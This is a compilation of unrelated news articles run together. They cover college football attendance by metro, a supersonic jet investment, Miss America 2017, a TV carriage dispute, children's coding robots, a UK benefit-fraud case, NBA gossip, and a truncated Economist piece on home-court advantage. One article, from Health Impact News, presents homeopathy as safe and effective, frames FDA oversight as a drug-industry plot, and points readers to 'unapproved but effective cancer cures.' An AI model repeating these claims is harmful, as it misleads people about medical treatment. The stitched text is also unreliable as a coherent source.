Furthermore, some college towns are too small to be considered actual metros, and many fans commute long distances to attend games. The table below lists the top 20 metros with average football attendance as a share of the population across U.S. metros.** Top 20 Metros with the Greatest Percent Share of Football Attendance** Rank Metro Percent of Population 1 Oxford, MS 131% 2 Starkville, MS 128% 3 Stillwater, OK 73% 4 State College, PA 70% 5 Pullman, WA 69% 6 Laramie, WY 67% 7 Auburn-Opelika, AL 66% 8 Ames, IA 63% 9 Corvallis, OR 52% 10 Bowling Green, KY 50% 11 Athens-Clarke County, GA 50% 12 Tuscaloosa, AL 49% 13 Iowa City, IA 48% 14 Morgantown, WV 48% 15 College Station-Bryan, TX 43% 16 Blacksburg-Christiansburg-Radford, VA 42% 17 Manhattan, KS 41% 18 Columbia, MO 38% 19 Lawrence, KS 37% 20 Ruston, LA 37% Table data from the NCAA and ESPN as compiled by Patrick Adler Now much smaller metros rise to the top. Oxford and Starkville, Mississippi rank first and second. Both have attendance that exceeds 100 percent of their population — a figure that is bolstered by students and out of area commuters. Stillwater, Oklahoma, is third (with 73 percent), followed by State College, Pennsylvania (70 percent), and Pullman, Washington (69 percent).**  All but one pro football metro has average home attendance equal to 10 percent or less of their population. The exception is tiny Green Bay, where attendance is equivalent to roughly 23 percent of the population. Large metros — those with more than one million people — rank much further down the list in football attendees as percent of metro population. The figure is roughly eight percent for Nashville and New Orleans, seven percent for Buffalo, five percent for San Francisco (second in average attendance overall), 2.5 percent for Pittsburgh, Dallas, and Boston, and just one percent for Chicago, L.A., and New York (the leader in overall average attendance). Behind these three metros, the San Jose metro, the heart of Silicon Valley and home to Stanford, ranks dead last. In his analysis of the geography of college football fandom, Silver notes a curious pattern. Looking at Google searches for the term "college football" he finds that "on a per-capita basis, there are probably about 5 times as many football fans in Birmingham [Alabama] as there are in New York. So although the New York media market is about 10 times larger, it has fewer than twice as many college football fans as Birmingham." ESPN's Colin Cowherd offers a simple theory to account for the geography of football fandom, where big cities are served by and favored by pro teams while smaller cities favor the college game. It makes sense, actually, that small towns would have a stronger support base for their college teams. Folks in bigger cities and metros have a lot of options for entertainment, but the options in smaller metros and college tons are more limited — making football the biggest game in town. From top: Alabama Crimson Tide running back T.J. Yeldon (4) celebrates after scoring a touchdown late in the fourth quarter against the LSU Tigers during their NCAA football game in Baton Rouge, Louisiana on Nov. 3. (Sean Gardner/Reuters); San Francisco 49ers kicker David Akers scores a field goal during the fourth quarter of their NFL football game against the Arizona Cardinals in San Francisco, California on Dec. 30. (Beck Diefenbach/Reuters) *Correction: An earlier version of this post failed to include Los Angeles in the college-only attendance table. **Correction: An earlier version of this post mistakenly included Troy, New York and Athens, Ohio in the percent-share attendance table. It also failed to include Bowling Green, Kentucky. The corresponding map has been removed.
-Supersonic jetliner travel, which ended more than a decade ago with the Concorde, is set for a boost after Japan Airlines Co. agreed to invest $10 million (about ¥1.1 billion) in Colorado startup Boom Technology Inc. The deal will give JAL a 1 percent stake in the Denver-based company.  The airline also secured an option to purchase as many as 20 of the aircraft Boom is developing, the two companies said in a statement Tuesday. JAL is the second company to announce an intention to purchase Boom’s supersonic jet, after billionaire Richard Branson’s Virgin Atlantic.  Boom is planning to build a 45-to-55 seat aircraft that cruises at Mach 2.2 (1,451 miles per hour) — capable of whisking passengers between Tokyo and San Francisco in 5½ hours. The Concorde, flown by British Airways and Air France, retired in 2003 after almost three decades in service as customers abandoned the jets amid hefty operating costs.  “It’s a signal to the rest of the ecosystem that the customer interest in this airplane is real,” Boom chief executive officer Blake Scholl said Tuesday in an interview. While the company is well capitalized, “the investment was not about the dollars; it was about the symbolism and the meaning of the dollars” to the aviation industry.  JAL spent more than a year contemplating the aircraft and how it would fit into its fleet and premium service offerings, he said. The carrier said it would work with Boom “to refine the aircraft design and help define the passenger experience for supersonic travel.”  The jet, targeted to enter service in the middle of next decade, will have a range of 4,500 nautical miles (8,334 kilometers), or roughly the distance between Beijing and London.  “The future needs friends,” Scholl said on Twitter ahead of the announcement. “Pioneers who stick their necks out, take a stand, support the new, the half-born, while uncertainty remains and the risk of failure is still quite real.”  Boom had commitments for 75 planes and customers have paid significant deposits, he said at the Paris Air Show in June. Orders were spread across five airlines, not all of which have been publicly disclosed, and more buyers will be revealed in the foreseeable future, Scholl said.  The plane-maker is still studying where it will assemble its supersonic aircraft. It plans to issue a request for proposals in the first quarter for its factory, which will offer “thousands of jobs,” Scholl said. Boom will select a site late next year, with the facility likely to be completed in late 2019 or 2020.  Boom has already struck a deal with Spaceship Co., the manufacturing division of Richard Branson’s Virgin Galactic, to use that company’s engineering, design and flight-test support services.  Engine selection, which is crucial for giving customers real cost and performance data, remains an outstanding issue. Boom is using a General Electric Co. engine for its demonstration aircraft. That plane, which passed a preliminary design review in May, is scheduled to fly next year.  On the Concorde, deep-pocketed passengers could fly the Atlantic at twice the speed of sound from 1976 to 2003. While costs and noise complaints killed off that supersonic jet, GE, Lockheed Martin Corp., the National Aeronautics and Space Administration and startups including Boom are studying new designs and technology that could make supersonic flight a commercial reality.  In November Boom hired Bill James, a former Airbus SE executive who led wing design on the A380 superjumbo, as its vice president of production operations. The company has been in talks with about 20 airlines to sell the plane.
-Miss Arkansas 2016 Savvy Shields is shown after being crowned Miss America 2017 by Miss America 2016 Betty Cantrell at the Boardwalk Hall in Atlantic City, NJ, Sunday, September 11, 2016. (Photo11: THOMAS P. COSTELLO, USA TODAY Network)  Miss Arkansas Savvy Shields has claimed the title of 2017's Miss America.  Shields, 21, beat the competition's 51 other contestants to win the title, succeeding the outgoing Miss America Betty Cantrell.  Shields took home the crown with a jazz routine during the talent portion, which won her the preliminary talent competition earlier in the week.  During the question and answer portion, she was asked about Democratic presidential nominee Hillary Clinton.  "If you're trying to be leader of the free world, everything you say and do matters and all of your actions are held to a higher standard," Shields said. "Both of the contestants have done a good job, but they also need to watch what they're doing."  After her run as Miss America, Shields, 21, will return to the University of Arkansas as a senior studying art. “I want to hopefully work in a museum and teach at a collegiate level,” she said about her plans for the future.  Miss South Carolina Rachel Wyatt was the night's first runner-up.  The second runner-up was Miss New York Camille Sims. The third runner-up was Miss Washington Alicia Cooper, and the fourth runner-up was Miss Mississippi Laura Lee Lewis.  Miss Arkansas, Savvy Shields waves during Miss America Pageant arrival ceremonies Tuesday, Aug. 30, 2016, in Atlantic City. (Photo11: Mel Evans, AP)  The top 15 finalists were: Kentucky; Washington; Massachusetts; Arkansas; South Carolina; Idaho; Iowa; Texas; California; Oklahoma; Maryland; New York; Tennessee; Louisiana, and Mississippi.  During a press conference after the ceremony, Shields thanked her family and fans, using a question about her Q&A portion to expand on her views about America's political climate.  "Our country was founded on compromise," she said. "I really think we're in a state now where both parties seem to just be yelling at each other. I hope that by the end of my year, we're starting to reward politicians on compromising instead of just defending themselves.  Afterwards, the night's celebrity judges including Mark Cuban, Gabby Douglas and Ciara praised Shields and congratulated her on her win.  "I have two daughters...I think its important for them to have role models who are confident and savvy," Cuban said, as the crowd laughed.  Ciara urged Shields to savor her big night.  "It's awesome as a woman to see you get this moment," she said. "I just encourage you to enjoy this moment, because when great things like this happen, they can sometimes pass you by."  Watch Ciara's and Douglas' full comments below:  Next up at the #MissAmerica press conference: Gabby Douglas pic.twitter.com/eKjGsm8Pbg — Maeve McDermott (@maeve_mcdermott) September 12, 2016  See photos from the evening here:  Contributing: The Associated Press  Read or Share this story: http://usat.ly/2cRUZsj
-The FDA Claims Homeopathic Remedies Need Regulation which would Effectively Outlaw Them  by Brian Shilhavy  Health Impact News  The FDA wrapped up a two-day hearing recently on whether or not homeopathic remedies should be regulated like drugs. Listening to critics of homeopathy try to justify why they don’t think the American public should have free access to homeopathic remedies leaves one wondering just what the real motivation is behind these criticisms.  The two dominant criticisms made against homeopathic remedies are antithetical to each other. Critics complain that due to a lack of regulation homeopathic remedies are dangerous, but then they turn around and say that homeopathic remedies are simply useless sugar pills with no therapeutic effect whatsoever, and no better than a placebo.  Both cannot be true.  Is this the new standard of scientific scrutiny that federal agencies are using to supposedly protect the public?  Are Homeopathic Remedies Dangerous?  The mainstream media is doing its best to comply with the pharmaceutical industry’s desire to paint homeopathic products in a bad light, and doing a very poor job of it. According to the mainstream media, which is obviously being fed statistics from the pharmaceutical industry and the federal government and doing no independent investigations of their own, what is the basis for claiming that homeopathic remedies are “dangerous”?  Here is the official Associated Press version:  A top federal drug regulator says that increased safety problems with homeopathic remedies contributed to the government’s decision to revisit its oversight of the products at a public hearing this week. In perhaps the most serious case, in 2009 the FDA ordered the maker of Zicam to stop marketing three products that contained zinc gluconate. The agency linked those products to 130 reports from consumers who said they lost their sense of smell.  That was the “most serious case” of “increased safety problems” with homeopathic remedies which has prompted an FDA review. 130 people claimed they lost their sense of smell, a claim that the manufacturer says was actually never proven.  Contrast this to consumer reports of adverse effects from FDA approved drugs.  Over 1 million FDA-approved drug side effects are reported each year now, including serious side effects such as death (over 100,000 deaths a year). It is admitted that these voluntary reports do not encompass the totality of all prescription drug side effects.  Drugwatch.com, which is hosted by a Washington D.C. law firm, states:  Each year, about 4.5 million Americans visit their doctor’s office or the emergency room because of adverse prescription drug side effects. A startling 2 million other patients who are already hospitalized suffer the ill effects of prescription medications annually. (Source.)  Clearly safety of non-FDA-approved homeopathic remedies is not the issue here, especially as compared to FDA-approved drug side effects.  FDA approved drugs are dangerous and deadly. Homeopathic remedies are not.  What is the Real Reason the FDA Wants to Eliminate Homeopathic Remedies?  The real reason why the FDA and the pharmaceutical industry want to regulate and eliminate homeopathic remedies is no secret, and we do not even need to speculate about it. They come right out and tell us the reason:  Still, perhaps the greatest harm caused by homeopathy is not necessarily caused by the products themselves—which, when properly prepared, rarely contain anything other than water and inactive ingredients such as sugars and binding agents—but by the fact that people often rely on homeopathic products to the exclusion of proven scientific remedies. (Source.)  Admittedly, homeopathic remedies are not dangerous. “Proven scientific remedies” of course means “FDA-approved” drugs.  Homeopathic remedies present a threat to the marketing of dangerous drugs (not people), as homeopathic product sales in the U.S. have increased 16% over the past 5 years to $6.4 billion annually, with projections to reach $7.5 billion by 2017. (Source.) If a homeopathic remedy is marketed for a specific illness where a FDA-approved pharmaceutical drug already exists, the FDA wants you to choose the drug instead.  But if too many people start making the “wrong choice,” they want to take away your freedom to choose. This kind of action is well documented against other health products, particularly competing “unapproved” cancer remedies which historically are always outlawed to protect the huge cancer drug business. (See: Unapproved but Effective Cancer Cures.)  If the FDA does decide to regulate homeopathic remedies, then only those remedies approved by them will be allowed to be sold, classifying them as drugs. There are only a handful of companies in the United States that the FDA allows to have drugs approved. Homeopathic remedies, and their booming popularity, would become part of Big Pharma.  Worldwide Homeopathy is Growing Rapidly Outside of the U.S.  Homeopathy was one of the most common medical practices in the United States in the 1800s. In 1892, homeopaths in the United Stated controlled about 110 hospitals, 145 dispensaries, 62 orphan asylums and old peoples homes, over 30 nursing homes and sanitaria and 16 insane asylums. However, the pharmaceutical industry did everything it could to stomp out homeopathy, and it is not as widespread in the U.S. today as it once was. (See: American Medical Revolutions: How the AMA Took Over America.)  Worldwide, homeopathy is the second largest system of health care used behind conventional pharmaceutical-based medicine. Dana Ullman, one of America’s leading authorities on homeopathy, writes:  According to recent surveys in France, an astounding 40% of the French public have used homeopathic medicines, and 39% of French physicians have prescribed them. At least six French medical schools offer courses leading to a degree in homeopathy, and homeopathy is taught in all pharmacy schools and in four veterinary schools. In a prominent French news magazine President Francois Mitterand and six medical school deans called for more research on homeopathy. According to an article in the British Medical Journal, 42% of British physicians surveyed refer patients to homeopathic physicians. Another survey of British physicians discovered that 80% of recent graduates wanted training in either homeopathy, acupuncture, or hypnosis. Homeopathic medicine is very popular in Germany as well. One respected author estimated that 20% of German physicians use homeopathic medicines occasionally. At present, the most popular hay fever remedy in Germany is a homeopathic medicine, and other homeopathic medicines for the common cold, sore throats, and circulatory problems are in the top ten of their respective categories. To further aid the growth of homeopathy, the late President of Germany, Karl Karstens, and his wife, Dr. Veronica Carstens, who is a medical doctor and a homeopathic physician, recently started a homeopathic research foundation. Numerous new research efforts in Germany and throughout Europe have begun in the past couple of years. Despite homeopathy’s impressive popularity in Europe, it is even more popular in India. Presently, there are over 100,000 homeopathic doctors and over 100 four- and five-year homeopathic medical colleges in this country. Homeopathy has achieved such respect that in 1987 the government established homeopathic drug detox clinics in six different police stations in New Delhi. A recent conference in India which described impressive results in the homeopathic treatment of drug addiction received accolades from India’s Minister of Health and Family Welfare, the Finance Minister, and the Chief Justice. In addition to the Indian government’s support of homeopathic drug detox clinics, they have also supported various research projects and homeopathic hospitals and clinics. (Source.)  The FDA is clearly not concerned about homeopathic remedies because they are a danger to the public. They are a danger to their monopoly on drugs, due to their growing popularity, and so they clearly want to either eliminate the competition, or get in on the action and take over the market.  Learn more about homeopathy.
-UPDATED: The companies' previous agreement expired Sept. 30, but there has been no progress made in the ongoing negotiations.  DirecTV has told Fox Networks that it will drop the channels Nov. 1 if the two companies don't come to an agreement in the ongoing carriage dispute.  Fox said late Thursday that it has offered an extension during the ongoing negotiations but that DirecTV "has informed us and their customers that unless we agree to their demands, they 'will suspend our networks on Nov. 1.'"  Fox added that DirecTV sent a proposal out Tuesday.  "They have given us no chance to respond before taking an unnecessarily aggressive posture and going public," Fox Networks said in a statement. "It is disappointing that they have chosen bad faith tactics over meaningful negotiation.  "We have proposed to keep the Fox Networks on DirecTV for the same price, and on the same terms as they are currently carried while we attempt to work out a fair agreement. Unfortunately, DirecTV has decided that unless they get their way, they are going to pull the plug on their customers Nov. 1."  Meanwhile, DirecTV issued its own statement late Thursday.  "After months of making little progress in our talks with News Corp and Fox to renew our agreement to carry their regional sports networks and other national channels we’ve regrettably reached a point where we will be forced to suspend the channels as soon as Nov. 1 unless News Corp is willing to move toward a more reasonable price increase," the company said.  According to DirecTV, Fox Networks is seeing a 40% increase in its carriage fees.  "They are currently asking our customers to pay 40% more for the exact same Fox channels that they already receive, and that’s simply unfair and unwarranted," the company said. "We hope to resolve this situation before any action is taken, but we will do what’s necessary to protect our customers from excessive and unwarranted fee increases. We already provide News Corp. nearly a billion dollars a year for their channels, and we have no problem continuing to compensate them fairly."  Fox's carriage agreement with DirecTV expired Sept. 30.  Fox Networks includes FX, National Geographic Channel, 19 regional sports networks, Fox Movie Channel, Speed, Fuel TV, Fox Soccer and Fox Deportes. Fox broadcast stations and Fox News Channel are not involved in the negotiations.  Fox's dispute with DirecTV marks the latest in a series of carriage disagreements for the company. Fox and its parent, News Corp., were engaged in a dispute with Cablevision a year ago, and the Fox channels were blacked out on Dish Network in October 2010 amid a dispute with the satellite TV giant.
-Photo: Play-i Yana and Bo play hide-and-seek.  Advertisement  These colorful robots are not only fun to play with—they can teach kids computer programming skills. That’s what Play-i, a Silicon Valley startup founded by engineers from Google, Apple, and Symantec, says about its robots, unveiled this week as part of a crowdsourcing campaign.  The idea of using robots to teach kids programming, math concepts, and problem solving is not new. In fact, it’s been more than 40 years since MIT educator Seymour Papert demonstrated the possibilities of hands-on learning with his Logo programming language and mobile machines known as “turtle robots.”  Over the years, numerous robotic toys and kits designed for kids came to market—most famously the LEGO Mindstorms set (trivia: it was named after Papert’s influential book “Mindstorms: Children, Computers, and Powerful Ideas”). But most of these products present a steep learning curve for kids (and parents!), and few are adequate for very young children.  Play-i, based in Mountain View, Calif., wants to see that change. It says its robots, Bo and Yana, can make programming fun and accessible for kids as young as 5 years old. The robots talk via Bluetooth LE with an iPad or other tablets, which Play-i says are the perfect interface for children to learn programming concepts in an engaging, intuitive way.  “We wanted to create robots so easy to use that kids could take them out of the box and start doing things with them,” cofounder and CEO Vikas Gupta told me when he stopped by IEEE Spectrum a few weeks ago. He said that after a year building prototypes and gathering feedback from kids, teachers, and advisers, they’re ready to get the robots in the hands of lots of people.  Their plan is raising money to produce the robots in volume through a crowdfunding campaign that they launched on Monday. A contribution of US $149 will get you a Bo; $49 will get you a Yana. Or for $189 you can get both. The robots are expected to ship in June. (A reminder: any crowdfunding project has risks.)  The robots Gupta showed me were prototypes, and as such they were still buggy, their movements jerky and their behavior a bit erratic. But I could see the potential. The larger one, Bo, has wheels and can drive around. It's equipped with distance sensors, accelerometer, and gyro. It has attachments on its head and body where you can connect arms or other accessories. This allows the robot do things like playing a xylophone or pushing blocks. The smaller robot, Yana, doesn’t move on its own, using lights and sound for interaction. (Gupta says kids will like it because they can use their imagination and pretend it’s an airplane or animal).  I was surprised that the robots don’t have Wi-Fi capability, and even more surprised that they don’t have cameras. Gupta explained that he didn’t think those things added much to the experience at this point (while adding to cost), though he didn’t exclude the possibility of including them in the future. But my biggest concern is that some Bo models will ship with no arms, which to me reduces its appeal. Gupta disagrees, saying that Bo can still do plenty of things to keep kids interested, and that even without arms, the robot can still push things around with its body.  Gupta said he and his cofounders—all have kids—saw first-hand how children could master an iPad in no time. But at the same time they wanted to let kids use the tablets not only to consume technology but also to create technology. In particular, they wanted them to learn a skill that is becoming more and more valuable: coding.  Play-i is creating a tablet-based visual programming interface that let kids build sequences of actions and learn through play and exploration. The sequences can start simple and get more complex as kids become more familiar with the robot and interface. “You can start with the robot playing music, and then add more actions, like blinking the eyes,” Gupta said. More advanced users will be able to program the robots with languages like Scratch and Blockly.  I asked Gupta why a crowdsourcing project. The founders have an impressive background—Gupta held senior positions at Amazon and Google; Saurabh Gupta ran Apple's iPod software team for six years; Mikal Greaves led the engineering team at industrial design firm Frog Design; and Imran Khan was a senior executive at Symantec—so why not raise capital and create a full-fledged product (as San Francisco startup Anki did with its robotic racing game Anki Drive)?  Gupta says they want to “validate the demand.” Once they can verify that many people are interested in this kind of robot, they can plan their future steps, further refining the product and scaling up manufacturing and distribution. Their crowdsourcing campaign has done extremely well in its first two days and they should reach their target soon, so I’m guessing that demand has been "validated." Now we'll wait and see if Bo and Yana will make kids happy—and smarter.  What do you think? Check out more photos and screenshots of the programming interface below, along with the full technical specs as provided by Play-i. And if you're interested, you can go to the company's website to support the project.  Bo  - Wireless (Bluetooth 4.0) for easy connection to touch devices for programming  - Two motors for driving that provide differential steering for body motion  - Two motors for head pan and tilt  - One programmable eye light-ring to add emotions  - Two programmable full-color ear lights  - One programmable full-color headlight  - One speaker with customizable sounds  - Four programmable buttons  - Four Infrared beacons to advertise location to other robots  - Twelve different sensors to interact with surroundings and other robots  - Three distance sensors to detect obstacles and objects in front and back  - Sound sensor to detect sound gestures like a clap  - Two wheel encoders enable precise body motion control  - Two head encoders enable precise head positioning  - Accelerometer for gesture control and positioning  - Gyroscope to track orientation  - Two Infrared detectors to detect other robots  - Six multi-function attachment points to add accessories  - Rechargeable battery and Micro-B USB connector for charging  Yana  - Wireless (Bluetooth 4.0) for easy connection to touch devices for programming  - One programmable eye light-ring with full-color overlay to add emotions  - Two programmable full-color ear lights  - One programmable button  - One speaker with customizable sounds  - Four Infrared beacons to advertise location to other robots  - Accelerometer for gesture detection  - Three multi-function attachment points to add accessories and bases  - Rechargeable battery and Micro-B USB connector for charging
-Steam, Valve's digital distribution service, rescued PC gaming from its "dark ages," Wasteland 2 developer Brian Fargo told Eurogamer.  Developer InXile Entertainment funded its role-playing game with nearly $3 million on Kickstarter in 2012. Wasteland 2 arrived on Steam Early Access last December.  According to Fargo, that developers can bring the unfinished game directly to interested players is a credit to Valve, a company that "has all this power but they don't wield it. They let us all work in an open system."  PC developers now have more options than they did before Steam launched in 2002, and more freedom than they do on consoles, Fargo said.  "They've been great," he said, referring to Valve. "You think about where we all were, kind of in the dark ages, when there was nothing. There was just Flash. There was no digital distribution. They've opened up a way to get directly to the audience in a way that isn't politicized, or forces us to do exclusives or all the other things the console guys do."  For more on Wasteland 2, which is available for Linux, Mac and Windows PC, you can watch our interview with Fargo from Gamescom 2013 below.
-A JUDGE has blasted a mum-of-twelve for having so many children after she was convicted of benefit fraud.  Melanie Edwards, 40, fraudulently claimed more than £150,000 in benefits between 2009 and 2014 by claiming to be a single parent.  SWNS - Bristol 5 Melanie Edwards claimed to be a single parent while claiming a six-figure sum over five years  But Edwards, of Lamerton near Tavistock, Devon, was in fact living with her husband Brian – while both worked in a factory.  The fraudster claimed in court that she pocketed the six-figure sum in order to support her kids.  But during the five-year period when the fraud took place, the couple continued to have children – adding another four to their growing brood.  Judge Paul Darlow asked the defendant: “Why just not have fewer children?”  Edwards replied: “That would be an option.”  The judge said the impact on the fraudster’s kids – the youngest of which is just 22 months old – was a major consideration when deciding her sentence.  SWNS - Bristol 5 The defence lawyer said Edwards didn't live a luxurious lifestyle, with the family of 14 sharing a three-bed house  SWNS - Bristol 5 Edwards replied that having fewer children 'would be an option'  She was sentenced to 16 months in prison, suspended for two years.  Judge Darlow told Edwards: “It is only your children who have kept this sentence from being immediate.  “One has to wonder why you have so many children when you cannot support them without the state.”  The mum-of-twelve admitted three counts of benefit fraud at Plymouth Crown Court.  Related stories Kn*b SEEKERS ALLOWANCE 'Violent ex used disability benefits to pay for £5k PENIS enlargement', claims mum Dole Dreams 'It's like having a dog: Teenager who claims £460 in benefits reveals plans for a baby instead of a job Exclusive Jobsneaker's allowance Chunnel migrant spotted claiming benefits before heading home to cosy semi-detached Move over, Boris! Teen scrounger who made his girlfriend homeless wants to be next PM (and he wants to increase benefits… DANGEROUS EUROPEAN FUGITIVE Albanian murderer who posed as a Kosovan asylum seeker to gain UK citizenship could be deported PLUCKY ESCAPE Scrounger in £140,000 benfits con dodges jail - after getting a job as a beautician to try to pay money back  She claimed £144,113 in tax credits, £9,606 in housing benefits and £988.47 council tax relief.  In addition to the suspended jail term, Edwards has also been ordered to pay back the colossal sum through reductions to her legitimate benefits.  It is not known how long it might take to get close to repaying the money.  According to the Plymouth Herald, Edwards refused to answer questions from reporters as she left the court building after sentencing.  UPPA/Photoshot 5 Judge Paul Darlow asked the mum-of-twelve why she continued having kids if she couldn't afford to support them  Alamy 5 Edwards was sentenced to 16 months in prison, suspended for two years, at Plymouth Crown Court  But Francesca Whebell, prosecuting, revealed the benefits claims were genuine when the mum began to claim them.  Edwards and her husband were both working alternate shifts at Kensey Foods at Launceston, but she is since thought to have given up working.  William Parkhill, defending, said the amount she claimed was “almost breathtaking”.  But he said she would have been entitled to claim large sums legitimately anyway.  He also added that the family did not have a luxurious lifestyle, with 14 of them sharing a three-bedroom house.  Mr Parkhill said: “She now faces an awkward conversation with her 12 children to explain what she has done.”  We pay for your stories! Do you have a story for The Sun Online news team? Email us at tips@the-sun.co.uk or call 0207 782 4512.
-On a brief trip to Spain for yours truly earlier this month, I had the opportunity to catch an in-person glimpse of gritty Spanish guard Sergio Llull for the first ‎time since the 2012 Olympics in London.  Nearly three years later, as you'd imagine, Llull is a much better player than the 23-year-old who served as a seventh or eighth man for the Spaniards in the 2012 gold-medal game ‎against Team USA.  Llull is a combo guard who loves to score first but can do much more when he's on the ball these days for Real Madrid than he did back then for the national team, which for the past several years could always turn to the likes of Jose Calderon, Juan Carlos Navarro and Ricky Rubio for quarterbacking. Llull's role is much bigger with the Spanish club giants in Madrid, who have him under contract through 2018 and to whom Llull (pronounced YOU'LL) has always proclaimed the deepest of affections.  His NBA rights, however, belong to the Houston Rockets, who have been trying for years to convince Llull to make the jump. And there is some fresh talk that next season -- finally -- Llull will give strong consideration to joining the Gasol brothers and the rest of the Spanish armada playing Stateside.  One well-placed source told me in ‎Spain: There's a "pretty decent" chance Llull agrees to sample the NBA next season.  The scouting report on Llull from one Spanish League expert: "He's a really good pick-and-roll player. He takes and makes big shots. He's great in the open floor and very tough. He's a better athlete than you think, too. But he needs to be on an up-tempo team in the NBA -- Houston, Phoenix, Golden State and so forth -- so he can play in the open floor and run pick-and-roll."  The climax of the college season ‎typically gives a hearty nudge to the NBA's offseason coaching carousel. And it's already happening even though the NCAA tournament isn't out of the first round yet.  A few quick dribbles of pertinent coaching gossip:  ** There is a growing sense in NBA coaching circles that Florida's Billy Donovan will give renewed consideration to making a move to the pros after a rough (by his standards) season in Gainesville.‎ Although there is no firm indication yet that the Orlando Magic will pursue Donovan again when they ramp up their coaching search in late April, it's a scenario that's bound to be talked about.  ** There's been no shortage of buzz among NBA types this week about former DePaul star Ty Corbin, freshly ousted as interim coach of the Sacramento Kings, moving to the college game to fill the fresh opening at his alma mater.  ** It is widely -- and I mean widely -- believed throughout the league that Fred Hoiberg, whose Iowa State Cyclones were bounced in the first round of the tournament Thursday by UAB, is the top choice of the Chicago Bulls to replace Tom Thibodeau in the event that the Bulls and Thibs indeed part company at season's end.‎  ‎A handful of disabled player exceptions quietly expired this month, with the teams that applied to the league to receive them opting to let the money go unspent ... presumably because there were no free agents to chase in-season who could command more than minimum money.  The Pacers received a $5.3 million injury exception in the wake of Paul George's gruesome compound leg fracture last summer. The Lakers were granted two fairly substantial trade exceptions by the league in the wake of season-ending injuries ‎suffered by Steve Nash ($4.85 million) and Julius Randle ($1.5 million). The Heat had one worth $2.7 million, too, after losing Josh McRoberts to a meniscus tear in his right knee.  Yet they all expired March 10 without fanfare.  Last month's trade deadline was a particularly big one for the D-League.  Of the 39‎ players involved in deals on a frantic deadline day, 16 of them had D-League experience, which equates to a healthy 41 percent. That, of course, includes Detroit's newly acquired Reggie Jackson, who spent some time with the old Tulsa 66ers in his early days in Oklahoma City.  We've also seen a new record this season with more than a third of the NBA possessing D-League experience on their resumes. That figure includes 26 players who were drafted last June, as NBA teams increasingly turn to their D-League affiliates to season young players.  The trade that sent Kevin Garnett back to Minnesota for Thaddeus Young shaved Brooklyn's luxury-tax bill from slightly more than $26 million to $19,687,385. The Nets, you'll recall, paid a whopping $90.57 million in luxury tax after last season's $190 million chase of a championship. ...  We lost out on some good trivia when Ray Allen decided to take this season off. Had Allen signed with a team other than the Boston Celtics, it would have meant that all five starters from the Celts' championship team in 2007-08 would have been active with five new and different teams. Which, according to ESPN's peerless source of NBA goodness Adam Reisinger, ‎hasn't happened since the NBA/ABA merger of 1976-77.
-“NO ONE,” the coach says to a locker room full of determined-looking young American football players, shoulder pads stacked up around their ears, “and I mean no one, comes into our house and pushes us around!” Chelcie Ross’s memorable pre-game pep talk in Rudy, a 1993 Hollywood sports drama, hammered home the principle of home-field advantage in the popular imagination. Defending one’s home turf has become a classic trope in the morality play of team sports, replete with Henry V-esque speeches, rituals, and outlandish displays by fans intended to provide athletes extra motivation when they play in front of a supportive crowd. And sure enough, playing at home confers a substantial edge, ranging from around an eight-percentage-point boost in baseball and ice hockey to a whopping 25 percentage points in international football.  Basketball has historically fit this pattern neatly: over the past 20 years, home teams in North America’s National Basketball Association (NBA) have won about 60% of their games in the regular season. So it came as a shock to statistically minded fans when ESPN.com published a pair of articles by Tom Haberstroh, a basketball writer for the site, and Steve Ilardi, an academic, noting that home teams’ winning percentage had dwindled from 61.2% in 2012-13 to a mere 53.7% through the first three months of the 2014-15 season. The authors assured their readers that the decline was a trend rather than a blip, pointing out that “the recent drop in home-court edge—more than 1.0 points per 100 possessions—is a shift of more than three standard deviations in magnitude, which is an event that occurs by random chance less than 1 in 1,000 times.” The basketball world took this seemingly stunning result as gospel, and it quickly became conventional wisdom. Journalists began theorising about home-court advantage’s cause of death. Blake Griffin, a star player for the Los Angeles Clippers, blamed his team’s lacklustre performance at home on disloyal or bored fans. And some intrepid reporters even went on quixotic internet-quests to discover strange and exotic NBA lands where the home team still rules. But despite rampant speculation, no one could offer a convincing case as to why this phenomenon, one so common across team sports and the NBA’s own history, had suddenly and mysteriously flown the coop.  Get our daily newsletter Upgrade your inbox and get our Daily Dispatch and Editor's Picks.  With the NBA finals between the Cleveland Cavaliers and Golden State Warriors set to begin on June 4th, punters looking for an edge might be tempted to take the juicy odds bookmakers are offering on away teams. In Britain, Betfair is pricing in a 70% likelihood Golden State wins its games at home, compared with just a 60% chance they prevail on the road. If playing at home really isn’t worth what it used to be, then betting on the visitor in every game should be money in the bank.  But the bookies usually know best, and this series is no exception. The Economist is pleased to report that the Curious Case of the Disappearing Home-Court Advantage has been solved: what looked in January like a vanishing act worthy of Houdini now seems more akin to a brief unexcused absence. According to data provided by David Corby of Basketball-Reference.com, from 1979 to 2014 NBA teams won 62.2% of their regular-season games at home. From January 28th, the day that the first ESPN piece about the decline of home-court advantage appeared, until the end of the regular season on April 15th, home teams won…62.1% of their games (see chart, in which the 2014-15 season has been divided into pre- and post-publication segments). This whiplash-inducing regression to the mean has continued in the playoffs: through the first three rounds, hosts have won precisely 60% of the time. The deviation that was supposed to occur less than once every 1,000 trials by chance turned out to have absolute zero predictive power whatsoever.  Could the authors of the ESPN story have known better? Prediction is difficult, especially about the future, and the evaporation of two-thirds of the historical home-court advantage over a nearly 700-game sample certainly seemed too improbable to ignore. But had they listened to the sage counsel of Nate Silver, their ESPN colleague who wrote a best-seller about how to distinguish true statistical signals from distracting background noise when making forecasts, they could indeed have avoided sending the basketball commentariat on a wild goose chase. Instead, they provided an object lesson in the perils of frequentism, the easily misused approach to statistics that Mr Silver dedicated his book to refuting and which lies at the heart of most of the field’s greatest misses, from medical studies that can’t be replicated to the faulty risk models that brought down the global financial system in 2008.  Frequentism interprets the world through a purely observational lens, basing its confidence in a conclusion on how often events occur and the odds that randomness alone could produce a given result. In the social sciences, a finding is said to be “statistically significant” if this number is below 5% or occasionally 1%; in fields like particle physics, the accepted threshold is one in many millions. There’s nothing wrong with the theory behind frequentism, but the authoritative-sounding heft it offers researchers masks the method’s enormous sensitivity to the parameters they set. It enables statisticians to make virtually anything they want seem mathematically airtight. For example, what were the odds that you would read this article at precisely this minute on this day—one in 525,600 (the number of minutes in a year)? Multiply that by the chances that your parents would meet and get together to create you in the first place—roughly one in three billion—and the event occurring in your life this very second suddenly seems utterly impossible.  So there is reason to be wary when researchers bandy about infinitesimally small probabilities as proof of their findings, and to withhold sympathy when forecasters blame their errors on unprecedented bad luck. In 2007 David Viniar, the former chief financial officer at Goldman Sachs, tried to explain away the poor performance of one of the bank’s hedge funds, saying “we were seeing things that were 25-standard-deviation moves several days in a row”. However, the 